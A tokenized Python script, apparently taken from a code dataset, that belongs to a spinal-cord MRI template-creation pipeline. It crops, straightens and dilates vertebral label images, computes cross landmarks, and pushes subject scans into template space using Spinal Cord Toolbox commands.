"cmd", "\\u", "straight", "en", ")_", "\\u\\u\\uNL\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "cmd", "\\u", "straight", "en_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", " ", "#", " ", "normali", "ze", " ", "intensity_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'\\\\", "n", "Normal", "izi", "ng", " ", "intensity", " ", "of", " ", "the", " ", "straight", "ened", " ", "image", "...'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sct", ".", "run", "('", "sct", "\\u", "normali", "ze", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "straight", ".", "ni", "i", ".", "gz", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cro", "p", " ", "labels", "\\u", "vert", "ebra", "l", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Cro", "ppi", "ng", " ", "labels", "\\u", "vert", "ebra", "l", " ", "file", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ymin", "\\u", "anat", "omic", "_", "==_", "None_", "and_", "ymax", "\\u", "anat", "omic", "_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "start", " ", "'_", "+_", "zmin", "\\u", "anat", "omic", "_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "zmax", "\\u", "anat", "omic", "_", "+_", "'", " ", "-", "dim", " ", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "'_", "+_", "PATH", "\\u", "INFO_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "start", " ", "'_", "+_", "ymin", "\\u", "anat", "omic", "_", "+_", "','_", "+_", "zmin", "\\u", "anat", "omic", "_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "ymax", "\\u", "anat", "omic", "_", "+_", "','_", "+_", "zmax", "\\u", "anat", "omic", "_", "+_", "'", " ", "-", "dim", " ", "1", ",", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Di", "late", " ", "labels", " ", "from", " ", "labels", "\\u", "vert", "ebra", "l", " ", "file", " ", "bef", "ore", " ", "straight", "eni", "ng_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Di", "latin", "g", " ", "labels", " ", "from", " ", "labels", "\\u", "vert", "ebra", "l", " ", "file", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "fs", "lma", "ths", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "dil", "F", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "appl", "y", " ", "straight", "eni", "ng", " ", "to", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d", ".", "ni", "i", ".", "gz", " ", "and", " ", "to", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "function", ":", " ", "sct", "\\u", "appl", "y", "\\u", "transf", "o_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "warp", "\\u", "curve", "2s", "tra", "ight", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Apply", "ing", " ", "straight", "eni", "ng", " ", "to", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d", ".", "ni", "i", ".", "gz", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "appl", "y", "\\u", "transf", "o", " ", "-", "i", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d", ".", "ni", "i", ".", "gz", " ", "-", "d", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", ".", "ni", "i", ".", "gz", " ", "-", "w", " ", "warp", "\\u", "curve", "2s", "tra", "ight", ".", "ni", "i", ".", "gz", " ", "-", "x", " ", "nn", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Select", " ", "center", " ", "of", " ", "mass", " ", "of", " ", "labels", " ", "volume", " ", "due", " ", "to", " ", "past", " ", "dila", "tation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "REMOVE", " ", "IF", " ", "NOT", " ", "REQUIRED_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Selecti", "ng", " ", "center", " ", "of", " ", "mass", " ", "of", " ", "labels", " ", "volume", " ", "due", " ", "to", " ", "past", " ", "dila", "tation", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "label", "\\u", "util", "s", " ", "-", "i", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "cubi", "c", "-", "to", "-", "point", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Apply", " ", "straight", "eni", "ng", " ", "to", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Apply", "ing", " ", "transf", "o", " ", "to", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", " ", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "appl", "y", "\\u", "transf", "o", " ", "-", "i", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", " ", "-", "d", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", ".", "ni", "i", ".", "gz", " ", "-", "w", " ", "warp", "\\u", "curve", "2s", "tra", "ight", ".", "ni", "i", ".", "gz", " ", "-", "x", " ", "nn", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "Calculat", "e", " ", "the", " ", "extre", "m", " ", "non", " ", "zero", " ", "points", " ", "of", " ", "the", " ", "straight", "ened", " ", "center", "line", " ", "file", " ", "to", " ", "crop", " ", "image", " ", "one", " ", "last", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "file_", "=_", "nib", "abel_", "._", "load_", "(_", "'", "seg", "\\u", "and", "\\u", "labels", "\\u", "reg", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "c_", "=_", "file_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "X_", ",_", "Y_", ",_", "Z_", "=_", "(_", "data\\u", "c_", ">_", "0_", ")_", "._", "nonzero_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "z", "\\u", "max_", "=_", "max_", "(_", "Z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "z", "\\u", "min_", "=_", "min_", "(_", "Z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cro", "p", " ", "image", " ", "one", " ", "last", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Cro", "p", " ", "image", " ", "one", " ", "last", " ", "time", " ", "and", " ", "create", " ", "cross", " ", "to", " ", "push", " ", "int", "o", " ", "template", " ", "space", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "dim", " ", "2", " ", "-", "start", " ", "'_", "+_", "str_", "(_", "z", "\\u", "min_", ")_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "str_", "(_", "z", "\\u", "max_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cro", "p", " ", "labels", "\\u", "vert", "ebra", "l\\u", "reg", ".", "ni", "i", ".", "gz_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Cro", "p", " ", "labels", "\\u", "vert", "ebra", "l\\u", "reg", ".", "ni", "i", ".", "gz", " ", "and", " ", "use", " ", "cross", " ", "to", " ", "push", " ", "int", "o", " ", "template", " ", "space", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "crop", "\\u", "image", " ", "-", "i", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "dim", " ", "2", " ", "-", "start", " ", "'_", "+_", "str_", "(_", "z", "\\u", "min_", ")_", "+_", "'", " ", "-", "end", " ", "'_", "+_", "str_", "(_", "z", "\\u", "max_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "cross_", "(_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Define", " ", "list", " ", "to", " ", "gather", " ", "all", " ", "distances_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "\\u", "distance", "s", "\\u", "1_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "distance", "s", "\\u", "2_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "SUBJECT", "S", "\\u", "LIST_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "=_", "SUBJECT", "S", "\\u", "LIST_", "[_", "i_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "go", " ", "to", " ", "output", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Go", " ", "to", " ", "output", " ", "folder", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Calculat", "e", " ", "distance", "s", " ", "bet", "ween", " ", ":", " ", "(", "last", "\\u", "label", " ", "and", " ", "bottom", ")", " ", " ", "and", " ", "(", "first", " ", "label", " ", "and", " ", "top", ")_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Calculating", " ", "distance", "s", " ", "bet", "ween", " ", ":", " ", "(", "last", "\\u", "label", " ", "and", " ", "bottom", ")", " ", " ", "and", " ", "(", "first", " ", "label", " ", "and", " ", "top", ").", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img", "\\u", "label_", "=_", "nib", "abel_", "._", "load_", "(_", "'", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "labels_", "=_", "img", "\\u", "label_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "msc", "t", "\\u", "image_", "import_", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nx_", ",_", "ny_", ",_", "nz_", ",_", "nt_", ",_", "px_", ",_", "py_", ",_", "pz", "_", ",_", "pt_", "=_", "Image_", "(_", "'", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", ".", "ni", "i", ".", "gz", "'_", ")_", "._", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", ",_", "Y_", ",_", "Z_", "=_", "(_", "data\\u", "labels_", ">_", "0_", ")_", "._", "nonzero_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "coordinates_", "=_", "[_", "(_", "[_", "X_", "[_", "i_", "]_", ",_", "Y_", "[_", "i_", "]_", ",_", "Z_", "[_", "i_", "]_", ",_", "data\\u", "labels_", "[_", "X_", "[_", "i_", "]_", ",_", "Y_", "[_", "i_", "]_", ",_", "Z_", "[_", "i_", "]_", "]_", "]_", ")_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "X_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "list", "\\u", "coordinates_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "list", "\\u", "coordinates_", "[_", "i_", "]_", "[_", "3_", "]_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coordinate", "s", "\\u", "first", "\\u", "label_", "=_", "list", "\\u", "coordinates_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "list", "\\u", "coordinates_", "[_", "i_", "]_", "[_", "3_", "]_", "==_", "20_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coordinate", "s", "\\u", "last", "\\u", "label_", "=_", "list", "\\u", "coordinates_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Distan", "ce", " ", "1s", "t", " ", "label", " ", "top_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "distance", "\\u", "1_", "=_", "nz_", "-_", "1_", "-_", "coordinate", "s", "\\u", "first", "\\u", "label_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "distance", "\\u", "2_", "=_", "nz_", "-_", "1_", "-_", "coordinate", "s", "\\u", "last", "\\u", "label_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Complete", " ", "list", " ", "to", " ", "gather", " ", "all", " ", "distances_", "\\u\\u\\uNL\\u\\u\\u_", "list", "\\u", "distance", "s", "\\u", "1_", "._", "append_", "(_", "distance", "\\u", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "list", "\\u", "distance", "s", "\\u", "2_", "._", "append_", "(_", "distance", "\\u", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "cross", " ", "on", " ", "each", " ", "subject", " ", "at", " ", "first", " ", "and", " ", "last", " ", "labels_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Creat", "ing", " ", "a", " ", "cross", " ", "at", " ", "first", " ", "and", " ", "last", " ", "labels", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "'", "sct", "\\u", "create", "\\u", "cross", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "x", " ", "'_", "+_", "str_", "(_", "int_", "(_", "round_", "(_", "nx_", "/_", "2.0_", ")_", ")_", ")_", "+_", "'", " ", "-", "y", " ", "'_", "+_", "str_", "(_", "int_", "(_", "round_", "(_", "ny_", "/_", "2.0_", ")_", ")_", ")_", "+_", "'", " ", "-", "s", " ", "'_", "+_", "str_", "(_", "coordinate", "s", "\\u", "last", "\\u", "label_", "[_", "2_", "]_", ")_", "+_", "'", " ", "-", "e", " ", "'_", "+_", "str_", "(_", "coordinate", "s", "\\u", "first", "\\u", "label_", "[_", "2_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "int", "o", " ", "a", " ", "txt", " ", "file", " ", "the", " ", "list", " ", "of", " ", "distances_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "os", ".", "chd", "ir", "('.", "./", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "f", "\\u", "distance", " ", "=", " ", "open", "('", "list", "\\u", "distance", "s", ".", "txt", "',", " ", "'", "w", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "f", "\\u", "distance", ".", "write", "(", "str", "(", "distance", "\\u", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "f", "\\u", "distance", ".", "write", "('", " ", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "f", "\\u", "distance", ".", "write", "(", "str", "(", "distance", "\\u", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "f", "\\u", "distance", ".", "write", "('\\", "\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Calculat", "e", " ", "mean", " ", "cross", " ", "height", " ", "for", " ", "template", " ", "and", " ", "create", " ", "file", " ", "of", " ", "reference_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "Calculating", " ", "mean", " ", "cross", " ", "height", " ", "for", " ", "template", " ", "and", " ", "create", " ", "file", " ", "of", " ", "reference", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mean", "\\u", "distance", "\\u", "1_", "=_", "int_", "(_", "round_", "(_", "sum_", "(_", "list", "\\u", "distance", "s", "\\u", "1_", ")_", "/_", "len_", "(_", "list", "\\u", "distance", "s", "\\u", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mean", "\\u", "distance", "\\u", "2_", "=_", "int_", "(_", "round_", "(_", "sum_", "(_", "list", "\\u", "distance", "s", "\\u", "2_", ")_", "/_", "len_", "(_", "list", "\\u", "distance", "s", "\\u", "2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "L_", "=_", "height", "\\u", "of", "\\u", "template", "\\u", "space_", "-_", "2_", "*_", "mean", "\\u", "distance", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "H_", "=_", "height", "\\u", "of", "\\u", "template", "\\u", "space_", "-_", "2_", "*_", "mean", "\\u", "distance", "\\u", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "path", "\\u", "sct", "_", "+_", "'/", "dev", "/", "template", "\\u", "creati", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "'", "sct", "\\u", "create", "\\u", "cross", ".", "py", " ", "-", "i", " ", "template", "\\u", "landmarks", "-", "mm", ".", "ni", "i", ".", "gz", " ", "-", "x", " ", "'_", "+_", "str_", "(_", "x", "\\u", "size", "\\u", "of", "\\u", "template", "\\u", "space_", "/_", "2_", ")_", "+_", "'", " ", "-", "y", " ", "'_", "+_", "str_", "(_", "y", "\\u", "size", "\\u", "of", "\\u", "template", "\\u", "space_", "/_", "2_", ")_", "+_", "'", " ", "-", "s", " ", "'_", "+_", "str_", "(_", "L_", ")_", "+_", "'", " ", "-", "e", " ", "'_", "+_", "str_", "(_", "H_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "push", "\\u", "int", "o", "\\u", "templa", "ce", "\\u", "space_", "(_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "SUBJECT", "S", "\\u", "LIST_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "=_", "SUBJECT", "S", "\\u", "LIST_", "[_", "i_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "go", " ", "to", " ", "output", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Go", " ", "to", " ", "output", " ", "folder", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Push", " ", "int", "o", " ", "template", " ", "space_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Push", " ", "int", "o", " ", "template", " ", "space", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "push", "\\u", "int", "o", "\\u", "template", "\\u", "space", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "n", " ", "landmark", "\\u", "nativ", "e", ".", "ni", "i", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "push", "\\u", "int", "o", "\\u", "template", "\\u", "space", ".", "py", " ", "-", "i", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "n", " ", "landmark", "\\u", "nativ", "e", ".", "ni", "i", ".", "gz", " ", "-", "a", " ", "nn", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Change", " ", "image", " ", "type", " ", "from", " ", "float", "64", " ", "to", " ", "uint16_", "\\u\\u\\uNL\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "change", "\\u", "image", "\\u", "type", ".", "py", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "uint", "16", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "center", " ", "of", " ", "mass", " ", "of", " ", "each", " ", "label", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Get", " ", "center", " ", "of", " ", "mass", " ", "of", " ", "each", " ", "label", " ", "group", " ", "due", " ", "to", " ", "affin", "e", " ", "transformation", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "sct", "\\u", "label", "\\u", "util", "s", " ", "-", "i", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "o", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "-", "t", " ", "cubi", "c", "-", "to", "-", "point", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", " ", "labels", "\\u", "vert", "ebra", "l\\u", "straight", "\\u", "in", "\\u", "template", "\\u", "space", ".", "ni", "i", ".", "gz", " ", "int", "o", " ", "a", " ", "folder", " ", "tha", "t", " ", "will", " ", "contain", " ", "each", " ", "subject", " ", "labels", "\\u", "vert", "ebra", "l\\u", "straight", "\\u", "in", "\\u", "template", "\\u", "space", ".", "ni", "i", ".", "gz", " ", "file", " ", "and", " ", "rename", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Check", " ", "if", " ", "for", "lder", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'", " ", "exist", "s", " ", "and", " ", "if", " ", "not", " ", "create", "s", " ", "it", " ", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "folder", " ", "exist", "s", " ", "and", " ", "if", " ", "not", " ", "create", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sct", "_", "._", "run_", "(_", "'", "cp", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "labels", "\\u", "vert", "ebra", "l\\u", "'_", "+_", "contrast", "_", "+_", "'/'_", "+_", "subject_", "+_", "'.", "ni", "i", ".", "gz", "'_", 